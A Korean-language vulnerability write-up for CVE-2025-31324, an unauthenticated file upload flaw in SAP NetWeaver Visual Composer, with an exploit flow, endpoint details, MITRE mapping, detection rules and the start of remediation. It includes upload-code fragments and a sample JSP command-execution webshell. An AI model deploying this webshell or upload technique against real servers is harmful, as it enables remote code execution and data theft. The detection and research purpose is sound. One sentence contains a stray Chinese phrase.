
CVE-2025-31324에 대한 개념 증명 익스플로잇으로, SAP NetWeaver Visual Composer의 인증되지 않은 파일 업로드 취약점이며, 탐지 가이드, MITRE 매핑 및 수정 단계를 포함합니다.
유형: 개념 증명 — 취약점 연구 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) 상태: 패치됨 — SAP 보안 노트 3594142 + 3604119 CISA KEV 추가: 2025년 5월
⚠️ 이 PoC는 악성 코드를 실행하지 않고 공격 표면을 검증하기 위해 무해한 JSP 파일("Hello World")을 사용합니다. 침투 테스트 및 탐지 개발 목적으로 승인된 환경에서만 사용하십시오.
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 취약점은 SAP NetWeaver AS Java의 Visual Composer Metadata Uploader 구성 요소에 존재합니다 — 인증 확인 누락(missing authorization check) 결함으로, 인증되지 않은 모든 공격자가 /developmentserver/metadatauploader 엔드포인트에 POST 요청을 보내 임의 파일을 무제한 업로드할 수 있습니다.
이 CVE는 특히 SAP NetWeaver Visual Composer Framework 버전 7.50에 영향을 미치며, CVSS 점수는 최대치인 10.0입니다.
위협 행위자들은 2025년 1월부터 5월까지 이 취약점을 적극적으로 악용하여 전 세계 수백 개 시스템에 지속적인 웹셸을 배포했습니다.
$ cat ./impact.txt높은 권한으로 작동하고 ERP 데이터에 근접해 있기 때문에, 악용 후 SAP ABAP 스택이나 연결된 데이터베이스로의 측면 이동은 사소한 일입니다.
실제 공격에서의 전체 악용 체인:
JSP 업로드 (CVE-2025-31324)
→ 서버 내 지속적 웹셸
→ SAP 프로세스로 RCE (높은 권한)
→ ERP 데이터 접근 (재무, 인사, 공급망)
→ ABAP / DB로 측면 이동
→ C2 프레임워크 배포 (예: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ 공격자 SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ 본문: JSP/WAR/모든 파일 ──────────────────► │ Metadata Uploader │ │
│ (인증 없음) │ │ │
│ │ ❌ 인증 확인 없음 │ │
│ │ ❌ 확장자 검증 없음 │ │
│ │ ❌ 콘텐츠 검증 없음 │ │
│ └────────┬────────────┘ │
│ │ │
│ 파일 저장 위치: │
│ /irj/root/ 또는 유사 경로 │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (무해한 PoC) │
│ → Webshell (실제 악용) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader는 SAP Visual Composer의 일부입니다 — 비즈니스 분석가가 Java 코드 없이 SAP 애플리케이션을 만들 수 있는 로우코드 개발 도구입니다. 이 엔드포인트는 개발 중 메타데이터 모델을 수신하도록 설계되었습니다. 이 구성 요소는 NetWeaver 기본 구성에서는 활성화되어 있지 않지만, Onapsis는 프로덕션 환경에서 광범위하게 활성화되어 있다고 보고했습니다.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
왜 JSP인가? 다른 형식이 아닌 이유는?
SAP NetWeaver AS Java는 JVM을 실행합니다 — .jsp 파일은 사전 컴파일 없이 서블릿 컨테이너(내장 Apache Tomcat)에 의해 직접 해석됩니다.这使得 JSP는 Java 환경에서 웹셸에 이상적인 형식입니다.
무해한 콘텐츠("Hello World")를 선택한 것은 PoC를 위한 의도적인 결정입니다:
실제 악용에서는 콘텐츠가 명령 실행이 가능한 JSP 웹셸이 될 것입니다, 예:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — 왜 이 Content-Type인가?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
엔드포인트는 multipart/form-data 요청을 기대합니다 — HTML 파일 업로드 양식에서 사용되는 것과 동일한 형식입니다. 이는 Visual Composer의 원래 설계(개발 모델 업로드)에서 의도된 것입니다.
requests 라이브러리는 files=가 전달될 때 multipart 경계를 자동으로 구성합니다 — Content-Type: multipart/form-data; boundary=... 헤더가 내부적으로 생성됩니다.
verify=False: TLS 인증서 검증을 비활성화합니다 — SAP 환경은 종종 자체 서명 인증서를 사용하기 때문에 필요합니다. 프로덕션에서는 verify='/path/to/ca-bundle.crt'를 사용하십시오.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| 구성 요소 | 의미 |
|---|---|
:50201 | SAP ICM(Internet Communication Manager) HTTPS 기본 포트 |
/developmentserver/ | Visual Composer 개발 서블릿 |
metadatauploader | 메타데이터 업로드 전용 엔드포인트 |
CONTENTTYPE=MODEL | 엔드포인트가 기대하는 콘텐츠 유형 |
CLIENT=1 | SAP 클라이언트(tenant) — 000, 100, 001이 일반적 |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# 인증 없이 HTTP POST를 통한 /developmentserver/metadatauploader
# 엔드포인트 악용
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP 웹셸 업로드 → 서블릿 컨테이너(Tomcat)에 의해 실행
tactic: Persistence
- T1505.003 # 지속성 메커니즘으로서의 웹셸
# JSP 파일은 재시작 사이에도 서버 파일시스템에 유지됨
tactic: Defense Evasion
- T1036 # Masquerading
# 합법적인 SAP 파일로 위장한 웹셸 (예: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# RCE 이후: 프로세스, 사용자, SAP 경로 열거
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# RCE를 통한 ABAP 스택, 연결된 데이터베이스 접근
tactic: Collection
- T1005 # Data from Local System
# ERP 데이터 직접 접근 (재무, 인사, 공급망)
$ cat ./affected_versions.txt제품: SAP NetWeaver Application Server Java
구성 요소: Visual Composer Framework
버전: 7.50 (2025년 4월/5월 패치 이전의 모든 빌드)
패치:
SSN 3594142 → 초기 패치 (2025년 4월) — 파일 업로드 완화
SSN 3604119 → CVE-2025-42999를 통한 근본 원인 수정 (2025년 5월) — 근본 원인 해결
SSN 3578900, 3620498, 3621771, 3634501 → 보안 강화 보조 노트
CISA KEV: CVE-2025-31324 및 CVE-2025-42999 모두 카탈로그에 추가됨
$ cat ./detection_opportunities.md# 규칙: Metadata Uploader 엔드포인트에 대한 인증되지 않은 POST
# 소스: SAP Web Dispatcher / ICM 액세스 로그
조건:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
심각도: 치명적 — 즉시 조사
# SAP ICM 로그 — 의심스러운 패턴:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# 규칙: 합법적인 SAP 경로 외부에서 최근 생성된 .jsp 파일에 대한 GET
조건:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [알려진 합법적 JSP 목록]
# SAP JVM의 의심스러운 자식 프로세스
# 소스: Sysmon / EDR 프로세스 생성
조건:
- parent_process: java.exe 또는 jstart.exe
- child_process: cmd.exe 또는 powershell.exe 또는 sh 또는 bash
- command_line CONTAINS: -c 또는 .socket 또는 .call( 또는 .spawn(
Red Canary는 Linux 환경에서 CVE-2025-31324 악용에 대한 다음 탐지 패턴을 문서화했습니다: .socket 및 .call( 또는 .spawn(과 결합된 -c 인수를 가진 python 프로세스 — 웹셸 이후 리버스 셸을 나타냅니다.
# 지난 90일 동안 취약한 엔드포인트에 대한 POST 요청 검색
# 로그 디렉토리: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# 웹 디렉토리에서 최근 생성된 JSP 나열
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.md우선순위: 치명적 — 즉시 패치
1. 구성 요소가 활성화되어 있는지 확인:
NWA → Configuration → Infrastructure → Java System Properties
검색: com.sap.tc.vccomp.server.vis.jms.VisJmsService